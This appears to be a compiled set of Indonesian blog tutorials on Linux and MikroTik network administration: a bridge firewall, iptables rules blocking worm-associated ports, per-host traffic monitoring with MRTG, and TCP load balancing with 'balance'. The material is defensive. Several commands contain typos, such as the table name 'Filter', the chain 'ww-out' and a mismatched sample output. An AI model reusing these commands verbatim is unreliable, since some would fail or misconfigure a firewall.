1. Router mikrotik hanya dapat diakses FTP, SSH, Web dan Winbox dari IP yang didefinisikan dalam address-list "ournetwork" sehingga tidak bisa diakses dari sembarang tempat.
2. Port-port yang sering dimanfaatkan virus di blok sehingga traffic virus tidak dapat dilewatkan, tetapi perlu diperhatikan jika ada user yang kesulitan mengakses service tertentu harus dicek pada chain="virus" apakah port yang dibutuhkan user tersebut terblok oleh firewall.
3. Packet ping dibatasi untuk menghindari excess ping.
Selain itu yang perlu diperhatikan adalah: sebaiknya buat user baru dan password dengan group full kemudian disable user admin, hal ini untuk meminimasi resiko mikrotik Anda di hack orang.

Selamat mencoba.

Block situs porno dengan squid...!!

This summary is not available. Please click here to view the post.

trans....firewall

Transparent Firewall adalah firewall yang "tidak tampak" baik oleh user di dalam zona yang kita amankan atau dari luar zona kita. Transparent Firewall pada dasarnya adalah firewall biasa hanya saja implementasinya dilakukan pada bridge, sehingga tidak ada konfigurasi yang harus dilakukan pada jaringan yang sudah ada.

Tutorial ini akan (mencoba) untuk menjelaskan secara singkat bagaimana dan apa saja yang diperlukan dalam pembuatan bridge firewall pada Debian GNU/Linux, dan pengaturan umum kerja firewall yang kita buat.

Topologi yang dipakai diasumsikan seperti gambar di bawah ini.

+----------+ +--------+ +---------------+
| INTERNET |-----| BRIDGE |-----| JARINGAN KITA |
+----------+ +--------+ +---------------+
1. Kebutuhan Dasar

Implementasi ini membutuhkan beberapa hal yaitu:

1. Komputer dengan 2 NIC
2. iptables
3. bridge-utils
4. Kernel Linux 2.6 atau 2.4(dengan patch) dengan opsi bridge firewall diaktifkan

Bila anda ingin menggunakan kernel versi 2.4 silakan cari patchnya di http://ebtables.sourceforge.net/. Kernel 2.6 sudah menyertakan fasilitas ini, sehingga tidak perlu dipatch lagi.

Di sini diasumsikan bahwa kernel sudah beres, dan tinggal menginstall program lain yang dibutuhkan untuk menjalankan bridge. Komputer yang dipakai mempunyai 2 NIC yaitu eth0 dan eth1.
2. Instalasi & Konfigurasi

Seperti biasa, untuk menginstall paket pada debian kita menggunakan apt-get.

root:~# apt-get install bridge-utils iptables

Bila anda tidak menggunakan distro lain anda dapat mendownload source code untuk kedua program itu pada http://bridge.sourceforge.net/ dan http://www.iptables.org/files/ . Panduan proses instalasi dapat mengikuti file README/INSTALL yang disertakan pada tarball yang anda download.

Program yang kita dapatkan dari bridge-utils adalah brctl. Program inilah yang mengatur segala macam bagian bridge mulai pembuatan, penghapusan, penambahan anggota bridge, dan sebagainya. Buat interface bridge (br0), dan tambahkan kedua interface ke dalam interface bridge yang baru dibuat.

root:~# brctl addbr br0
root:~# brctl addif br0 eth0
root:~# brctl addif br0 eth1
root:~# ifconfig eth0 0
root:~# ifconfig eth1 0

Hapus alamat IP pada eth0 dan eth1, dan bila bridge ini akan diberi alamat IP maka yang perlu diberi alamat adalah br0. Interface lain harus tetap menyala tanpa mempunyai alamat IP sendiri. Nantinya, kedua ethernet yang ada akan merespon setiap request yang masuk ke alamat IP bridge.

Cobalah untuk memping jaringan di luar jaringan anda. Bila lancar, berarti bridge ini sudah berjalan dengan baik. Agar setiap booting kita tidak mengulangi langkah-langkah di atas maka edit file /etc/network/interfaces dan tambahkan konfigurasi seperlunya. Contoh file saya ada di bawah ini.

auto br0
iface br0 inet static
address 10.11.12.3
netmask 255.255.255.0
network 10.11.12.0
broadcast 10.11.12.255
gateway 10.11.12.1
bridge_ports eth0 eth1

Catatan: perhatikan item konfigurasi yang dicetak tebal.

Pastikan juga anda mengaktifkan IP Forwarding dengan mengeksekusi perintah di bawah ini tiap kali komputer booting.

root:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Selain cara manual itu anda dapat pula mengedit file /etc/network/options.

ip_forward=yes
spoofprotect=yes
syncookies=no

Sekarang anda dapat mengkonfigurasi iptables untuk melakukan penyaringan terhadap paket-paket data yang melewati firewall ini. Iptables tidak akan dibahas mendalam di sini. Sekedar info, penyaringan ini dilakukan pada tabel Filter chain FORWARD. Contoh:

root:~# iptables -t Filter -A FORWARD -s 0.0.0.0 -d 10.11.12.0/24 -p tcp --dport 23 -j DROP
root:~# iptables -t Filter -A FORWARD -s 0.0.0.0 -d 10.11.12.0/24 -p tcp --dport 25 -j DROP
root:~# iptables -t Filter -A FORWARD -s 0.0.0.0 -d 10.11.12.0/24 -p udp --dport 161 -j DROP

Potongan instruksi iptables di atas memfilter paket-paket dari luar network kita yang akan mengakses port telnet, smtp, dan snmp. Tambahkan filter lain sesuai dengan yang anda butuhkan.

Simpanlah perintah-perintah yang anda jalankan pada sebuah script .sh dan ubahlah permission file tersebut agar bisa dieksekusi(executable). Aturlah agar file itu diekseuksi setiap kali boot. Ada beberapa cara melakukannya, yang termudah adalah menambahkan entri pada /etc/network/interfaces. Bila script iptables itu disimpan di /etc/init.d/aturanfirewall.sh anda dapat menambahkan baris berikut di bawah entri br0.

up command /etc/init.d/aturanfirewall.sh

Dengan demikian isi file /etc/network/interfaces menjadi seperti di bawah ini.

auto br0
iface br0 inet static
address 10.11.12.3
netmask 255.255.255.0
network 10.11.12.0
broadcast 10.11.12.255
gateway 10.11.12.1
bridge_ports eth0 eth1
up command /etc/init.d/aturanfirewall.sh

Dengan menggunakan bash script kecil untuk memparsing output command "iptables -nvL FORWARD" anda dapat memantau aktifitas filtering seperti ini :)

+---------------------------------------------------------+
| I/O Total | 95M Packets 62G Bytes |
+-------------+---------------------+---------------------+
| | Traffic In | Traffic Out |
| Filter +----------+----------+----------+----------+
| | Byte | Packet | Byte | Packet |
+-------------+----------+----------+----------+----------+
| Ping Blaster| 0 | 0 | 23184 | 252 |
| udp 69 | 0 | 0 | 0 | 0 |
| udp 135 | 0 | 0 | 0 | 0 |
| udp 137 | 38298 | 491 | 9828 | 126 |
| udp 138 | 534 | 2 | 1343 | 5 |
| udp 445 | 0 | 0 | 0 | 0 |
| udp 161 | 3672 | 54 | 0 | 0 |
| tcp 23 | 912 | 19 | 0 | 0 |
| tcp 135 | 47520 | 990 | 1584 | 33 |
| tcp 445 | 1027K | 21402 | 15180 | 316 |
| tcp 593 | 0 | 0 | 0 | 0 |
| tcp 4444 | 528 | 12 | 864 | 18 |
+-------------+----------+----------+----------+----------+
selamat mencoba......!!

Monitoring Trafik Network Menggunakan iptables dan MRTG .....!!

Dengan berbagai metode kita dapat mengukur besar keluar-masuknya data tiap komputer dalam jaringan kita. Salah satu cara yang sederhana dan mudah dikerjakan adalah dengan menggunakan iptables dan MRTG. Iptables hanya digunakan untuk menghitung besar data yang masuk untuk tiap-tiap komputer dalam jaringan, dan hasilnya ditampilkan dengan menggunakan MRTG. Dengan begitu kita tidak perlu menginstall server snmp di tiap komputer, namun masih bisa mendapatkan gambaran umum aktifitas koneksi tiap komputer dengan jaringan lain.

Di sini diasumsikan bahwa jaringan kita beralamat 10.11.12.0/24, pengukuran dilakukan di gateway dengan alamat 10.11.12.1.
1. Instalasi

Program yang kita butuhkan di sini tidak begitu banyak, dan biasanya pada beberapa distro linux program-program ini sudah disertakan di CD. Bila tidak ada, beberapa program inilah yang harus anda download dan anda install.

1. MRTG, dapat didownload dari http://www.ee.ethz.ch/~oetiker/webtools/mrtg/
2. iptables(versi > 1.2.6), dapat didownload dari http://www.netfilter.org
3. Apache web server, dapat didownload dari http://httpd.apache.org (web server lain juga bisa)

Ikuti petunjuk instalasi yang disertakan pada tiap-tiap program, biasanya ada pada file README dan INSTALL.
2. Iptables

Untuk bisa mengetahui jumlah keluar/masuknya paket data untuk suatu komputer kita harus menghitungnya secara terpisah yaitu untuk yang masuk dan untuk yang keluar. Bila kita akan mengamati sepuluh komputer, maka setidaknya harus ada 20 rule iptables. Chain yang digunakan untuk mengamati adalah chain FORWARD.

Untuk memudahkan pengamatan & parsing nilai hitungan iptables kita dapat menambahkan masing-masing 2 chain kosong yang menjadi target rule sehingga memudahkan kita dalam menjalankan grep, misal dengan menggunakan nama komputer yang kita beri tambahan -in dan -out.
root:~# iptables -N yudhistira-in
root:~# iptables -N yudhistira-out
root:~# iptables -A FORWARD -d 10.11.12.2 -j yudhistira-in
root:~# iptables -A FORWARD -s 10.11.12.2 -j yudhistira-out

root:~# iptables -N anoman-in
root:~# iptables -N anoman-out
root:~# iptables -A FORWARD -d 10.11.12.3 -j anoman-in
root:~# iptables -A FORWARD -s 10.11.12.3 -j anoman-out

root:~# iptables -N bagong-in
root:~# iptables -N bagong-out
root:~# iptables -A FORWARD -d 10.11.12.4 -j bagong-in
root:~# iptables -A FORWARD -s 10.11.12.4 -j bagong-out

root:~# iptables -nvxL FORWARD
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 yudhistira-in all -- * * 0.0.0.0/0 10.11.12.2
0 0 yudhistira-out all -- * * 10.11.12.2 0.0.0.0/0
0 0 anoman-in all -- * * 0.0.0.0/0 10.11.12.3
0 0 anoman-out all -- * * 10.11.12.3 0.0.0.0/0
0 0 bagong-in all -- * * 0.0.0.0/0 10.11.12.3
0 0 bagong-out all -- * * 10.11.12.3 0.0.0.0/0

Di atas dapat kita lihat bahwa kalau kita ingin mengambil besar data(dalam bytes) output iptables -nvxL FORWARD dapat kita pipe kan ke grep dan mengambil nilai kolom kedua dari output yang dihasilkan oleh grep.

root:~# iptables -nvxL FORWARD | grep bagong-in
0 0 bagong-in all -- * * 0.0.0.0/0 10.11.12.3
root:~# iptables -nvxL FORWARD | grep bagong-in | awk '{print $2}'
0

Untuk memudahkan kita dalam memasukkan nilainya ke MRTG kita bisa membuat script kecil seperti ini:

#!/bin/sh
paketIN=`/sbin/iptables -nvxL FORWARD | grep "$1-in" | awk '{print $2}'`
paketOUT=`/sbin/iptables -nvxL FORWARD | grep "$1-out" | awk '{print $2}'`
echo $paketIN
echo $paketOUT

Pemakaiannya hanyalah dengan cara menuliskan nama scriptnya dengan 1 parameter yaitu [nama komputer], misalnya scriptbacatrafik.sh bagong. Script ini akan mencetak nilai bytes yang keluar dari jaringan kita yang berasal dari komputer "bagong". Angka ini diambil dari iptables, sehingga kata bagong atau apa pun itu harus anda sesuaikan dengan nama chain yang anda gunakan di iptables.
3. MRTG

Nilai yang dimasukkan ke mrtg haruslah berpasangan, pertama untuk in dan kedua untuk out. Nilai ini dapat diambil dari SNMP, dapat pula diambil dari nilai eksekusi program tertentu. Contoh mrtg.cfg yang mengambil nilai dari script yang tadi kita buat dapat dilihat di bawah ini.

WorkDir: /var/www/mrtg

Target[anoman]: `/usr/local/sbin/scriptbacatrafik.sh anoman`
Title[anoman]: Anoman
PageTop[anoman]:

Anoman


MaxBytes[anoman]: 1250000
YLegend[anoman]: Bytes/s
ShortLegend[anoman]: B/s
LegendI[anoman]: Traffic in
LegendO[anoman]: Traffic out
Legend1[anoman]: Traffic in Bytes per Second

Target[bagong]: `/usr/local/sbin/scriptbacatrafik.sh bagong`
Title[bagong]: bagong
PageTop[bagong]:

bagong


MaxBytes[bagong]: 1250000
YLegend[bagong]: Bytes/s
ShortLegend[bagong]: B/s
LegendI[bagong]: Traffic in
LegendO[bagong]: Traffic out
Legend1[bagong]: Traffic in Bytes per Second

Target[yudhistira]: `/usr/local/sbin/scriptbacatrafik.sh yudhistira`
Title[yudhistira]: yudhistira
PageTop[yudhistira]:

yudhistira


MaxBytes[yudhistira]: 1250000
YLegend[yudhistira]: Bytes/s
ShortLegend[yudhistira]: B/s
LegendI[yudhistira]: Traffic in
LegendO[yudhistira]: Traffic out
Legend1[yudhistira]: Traffic in Bytes per Second

Setelah file konfigurasi selesai, jalankan indexmaker untuk membuat file index.html MRTG.

root:~# indexmaker /path/file/mrtg.cfg > /var/www/mrtg/index.html

Bila apache telah berjalan, cobalah untuk membuka http://10.11.12.1/mrtg/ untuk melihat hasilnya.
4. Pengembangan

Dengan cara pengukuran yang persis sama anda dapat pula mengukur besarnya keluar masuk paket per layanan misal web, ftp, smb, domain, dan sebagainya. Pengukuran dilakukan dengan menggunakan iptables, hanya saja kita tidak mendefinisikan alamat IP per komputer. Yang kita definisikan adalah protokol(TCP/UDP/ICMP) beserta nomor portnya, serta network address jaringan kita seperti contoh di bawah ini.

root:~# iptables -N www-in
root:~# iptables -N www-out
root:~# iptables -A FORWARD -d 10.11.12.0/24 -p tcp --dport 80 -j www-in
root:~# iptables -A FORWARD -s 10.11.12.0/24 -p tcp --sport 80 -j ww-out

root:~# iptables -N ftp-in
root:~# iptables -N ftp-out
root:~# iptables -A FORWARD -d 10.11.12.0/24 -p tcp --dport 20:21 -j ftp-in
root:~# iptables -A FORWARD -s 10.11.12.0/24 -p tcp --sport 20:21 -j ftp-out

Contoh rule iptables di atas berguna untuk menghitung:

1. Besar paket data yang kita dapatkan dari webserver yang berasal dari luar jaringan kita.
2. Besar paket data request ke webserver di luar jaringan kita.
3. Besar paket data yang kita download melalui ftp yang berasal dari luar jaringan kita.
4. Besar paket data upload melalui ftp ke luar jaringan kita.

Edit mrtg.cfg untuk memasukkan hasil perhitungan iptables untuk kedua port yang baru.

Target[www]: `/usr/local/sbin/scriptbacatrafik.sh www`
Title[www]: www
PageTop[www]:

www


MaxBytes[www]: 1250000
YLegend[www]: Bytes/s
ShortLegend[www]: B/s
LegendI[www]: Traffic in
LegendO[www]: Traffic out
Legend1[www]: Traffic in Bytes per Second

Target[ftp]: `/usr/local/sbin/scriptbacatrafik.sh ftp`
Title[ftp]: ftp
PageTop[ftp]:

ftp


MaxBytes[ftp]: 1250000
YLegend[ftp]: Bytes/s
ShortLegend[ftp]: B/s
LegendI[ftp]: Traffic in
LegendO[ftp]: Traffic out
Legend1[ftp]: Traffic in Bytes per Second

Selamat mencoba, semoga sukses.

Membuat Cluster Load Balancing Dengan Cepat dan Mudah ...gman yah..???

Selama ini orang selalu menganggap bahwa membuat cluster load balancing adalah hal yang rumit dan memusingkan. Dan.. memang benar pendapat ini. Tapi sebenarnya ada satu cara mudah untuk mencapainya dengan menggunakan yang namanya balance.



Sebelumnya kita bahas dahulu sedikit mengenai konsep Clustering. Secara prinsip clustering mempunyai 2 buah pendekatan:
1. High Availability (Failover), adalah bila satu server gagal melayani service tertentu, maka tugas server tersebut otomatis akan dilempar ke server lainnya.
2. High throughput (Performance), disini yang diinginkan adalah performance yang tinggi yang dicapai dengan "membagi2" tugas yang ada ke sekumpulan server. Contohnya adalah:
2a. High-performance Computing (HPC), adalah sekumpulan server yang bekerja bersama-sama pada saat yang bersamaan untuk mengerjakan sesuatu tugas tertentu, biasanya dalam bentuk tugas perhitungan yang berat2, seperti simulasi bumi, me-render film animasi, dll.
2b. Load Balancing, adalah membagi2 beban kerja ke sekumpulan server diluar konteks computing, misalnya membagi beban kerja web server, mail server, dll.

Bagaimana mencapai hal ini?
Ada beberapa software opensource yang dapat kita gunakan:
1. Linux High-Availability (http://www.linux-ha.org)
2. RedHat Cluster Suite dan Piranha (http://www.redhat.com)
3. Linux Virtual Server (http://www.linuxvirtualserver.org)
4. BeoWulf Cluster (http://www.beowulf.org)
5. Openmosix (http://openmosix.sourceforge.net)

Namun solusi2 di atas kadang kala terlalu "canggih" atau "overkill" untuk mencapai tujuan clustering kita. Disinilah 'balance' masuk. Apa yang dapat ia sediakan?
1. Merupakan user-space program. Tidak perlu compile kernel dll. Langsung jalan secara command line.
2. Load balancing secara tcp. Cukup menyebutkan protocol atau port tcp berapa yang ingin kita load balancing.

Cara setup:
1. Download paketnya dari http://www.inlab.de/balance.html
wget http://www.inlab.de/balance-3.40.tar.gz
2. Extract, compile dan install:
2a. tar zxvf balance-3.40.tar.gz
2b. cd balance-3.40
2c. vi Makefile
Ubah baris ini: MANDIR=${BINDIR}/../man/man1
Menjadi: Untuk Ubuntu: MANDIR=/usr/share/man/man1
Untuk RedHat: MANDIR=/usr/local/share/man/man1
2d. make
2e. make install
Done! :)

Cara pakai:
Sebelumnya kita misalkan skenario seperti ini:
Kita mempunyai sebuah website yang ingin kita bagi beban kerjanya ke 3 buah server web. Maka kita perlu mensetupnya seperti terlihat di gambar (Oya, gambarnya adalah foto PC zaman dulu, tapi itu hanya ilustrasi yah, nanti servernya jangan pakai PC zaman dulu juga. Hehe...). Tiga buah server web yaitu www1 (192.168.0.1), www2 (192.168.0.2), dan www3 (192.168.0.3). Di depan mereka kita install sebuah server (192.168.0.254) yang bertugas membagi2 bebas kerja para server www tersebut. Jadi IP yang akan diakses oleh user adalah IP 192.168.0.254, jangan ke masing2 server www.



Commandnya: (Jalankan command ini di 192.168.0.254) balance
Bila diketik tanpa option dia akan muncul seperti ini:
_ _
| |__ __ _| | __ _ _ __ ___ ___
| '_ \ / _` | |/ _` | '_ \ / __/ _ \
| |_) | (_| | | (_| | | | | (_| __/
|_.__/ \__,_|_|\__,_|_| |_|\___\___|
this is balance 3.40
Copyright (c) 2000-2006,2007
by Inlab Software GmbH, Gruenwald, Germany.
All rights reserved.

usage:
balance [-b addr] [-B addr] [-t sec] [-T sec] [-adfpHM] \
port [h1[:p1[:maxc1]] [!%] [ ... hN[:pN[:maxcN]]]]
balance [-b addr] -i [-d] port
balance [-b addr] -c cmd [-d] port

-a enable channel autodisable option
-b host bind to specific address on listen
-B host bind to specific address for outgoing connections
-c cmd execute specified interactive command
-d debugging on
-f stay in foregound
-i interactive control
-H failover even if Hash Type is used
-M use MMAP instead of SHM for IPC
-p packetdump
-t sec specify connect timeout in seconds (default=5)
-T sec timeout (seconds) for select (0 => never) (default=0)
! separates channelgroups (declaring previous to be Round Robin)
% as !, but declaring previous group to be a Hash Type

examples:
balance smtp mailhost1:smtp mailhost2:25 mailhost3
balance -i smtp
balance -b 2001:DB8::1 80 10.1.1.1 10.1.1.2
balance -b 2001:DB8::1 80


Jadi cara pakainya adalah misalnya:
balance -f http 192.168.0.1 192.168.0.2 192.168.0.3

Option -f itu artinya balance jalan di foreground, berguna untuk kita debug dan cancel. Kalau misalnya sudah ok, bisa kita jalankan tanpa option -f, maka balance akan jalan di background.

Untuk melihat cara bekerja balance adalah dengan membuka sebuah terminal dan meload website 192.168.0.254 secara berulang2. Untuk mudahnya dapat kita gunakan text browser seperti elinks:
watch elinks --dump http://192.168.0.254
Untuk kebutuhan testing, dapat kita atur agar isi website di 192.168.0.1, 192.168.0.2, dan 192.168.0.3 berbeda, jadi command di atas akan menampilkan isi website yang berbeda, tanda bahwa balance sudah meload balancing traffik web ke tiga buah server tersebut.

Contoh lain adalah:
balance -f http 192.168.0.1::100 ! 192.168.0.2::100 ! 192.168.0.3
Arti option di atas adalah: koneksi http akan diprioritaskan ke server 192.168.0.1 sampai sebanyak 100 koneksi, bila sudah penuh maka akan dilempar ke 192.168.0.2 sampai sebanyak 100 koneksi juga, sisanya akan ke 192.168.0.3

Bagaimana jika kita ingin menghandle koneksi yang memerlukan session seperti website dynamic pakai php? Hal ini bisa dicapai dengan option '%' yaitu mengaktifkan session seperti ini:
balance -f http 192.168.0.1 192.168.0.2 192.168.0.3 %

Untuk option2 selengkapnya dapat kita lihat di 'man balance'.

Apakah hanya dapat digunakan untuk akses http? Tentu tidak, dengan sedikit eksplorasi kita dapat pula menggunakannya untuk keperluan lain seperti load balancing akses internet, email, proxy, dll.

Penutup
Program balance ini menyediakan sebuah solusi praktis dan mudah untuk membuat sebuah cluster load balancer. Performance yang dihasilkan cukup bagus. Namun bila kita ingin menggunakan solusi yang lebih handal, kita dapat menggunakan LVS (linux virtual server) dengan kombinasi linux-ha. Namun tentu saja settingannya akan jauh lebih rumit. Kita akan membahasnya di lain kesempatan. Selamat mencoba :)